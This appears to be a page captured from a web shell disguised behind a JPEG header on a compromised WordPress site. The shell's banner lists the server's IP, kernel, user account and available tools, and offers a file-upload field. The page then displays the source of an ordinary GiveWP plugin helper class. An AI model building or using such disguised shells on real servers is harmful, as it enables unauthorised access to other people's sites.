????JFIF??x?x????'
Server IP : 104.21.48.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/pontiacques.org/wp-content/plugins/give/src/MigrationLog/Helpers/ |
Upload File : |
<?php namespace Give\MigrationLog\Helpers; use Give\Framework\Migrations\Contracts\Migration; use Give\Framework\Migrations\MigrationsRegister; use Give\MigrationLog\MigrationLogModel; use Give\MigrationLog\MigrationLogRepository; /** * Class MigrationOrder * @package Give\MigrationLog\Helpers * * Helper class used to get migration data * * @since 2.10.0 */ class MigrationHelper { /** * @var MigrationsRegister */ private $migrationRegister; /** * @var MigrationLogRepository */ private $migrationRepository; /** * @var MigrationLogModel[] */ private $migrationsInDatabase; /** * MigrationOrder constructor. * * @param MigrationsRegister $migrationRegister * @param MigrationLogRepository $migrationRepository */ public function __construct( MigrationsRegister $migrationRegister, MigrationLogRepository $migrationRepository ) { $this->migrationRegister = $migrationRegister; $this->migrationRepository = $migrationRepository; } /** * Get migrations sorted by run order * * @since 2.10.0 * * @return array */ private function getMigrationsSorted() { static $migrations = []; if (empty($migrations)) { /* @var Migration $migrationClass */ foreach ($this->migrationRegister->getMigrations() as $migrationClass) { $migrations[$migrationClass::id()] = $migrationClass::timestamp(); } asort($migrations); } return $migrations; } /** * Get pending migrations * * @since 2.10.0 * * @return string[] */ public function getPendingMigrations() { return array_filter( $this->migrationRegister->getMigrations(), function ($migrationClass) { /* @var Migration $migrationClass */ foreach ($this->getMigrationsInDatabase() as $migration) { if ($migration->getId() === $migrationClass::id()) { return false; } } return true; } ); } /** * Get migration run order * * @since 2.10.0 * * @param string $migrationId * * @return int */ public function getRunOrderForMigration($migrationId) { return array_search($migrationId, array_keys($this->getMigrationsSorted())) + 1; } /** * Retrieves the migrations from the database, caching the results for future retrieval * * @since 2.10.1 * * @return MigrationLogModel[] */ private function getMigrationsInDatabase() { if ($this->migrationsInDatabase === null) { $this->migrationsInDatabase = $this->migrationRepository->getMigrations(); } return $this->migrationsInDatabase; } }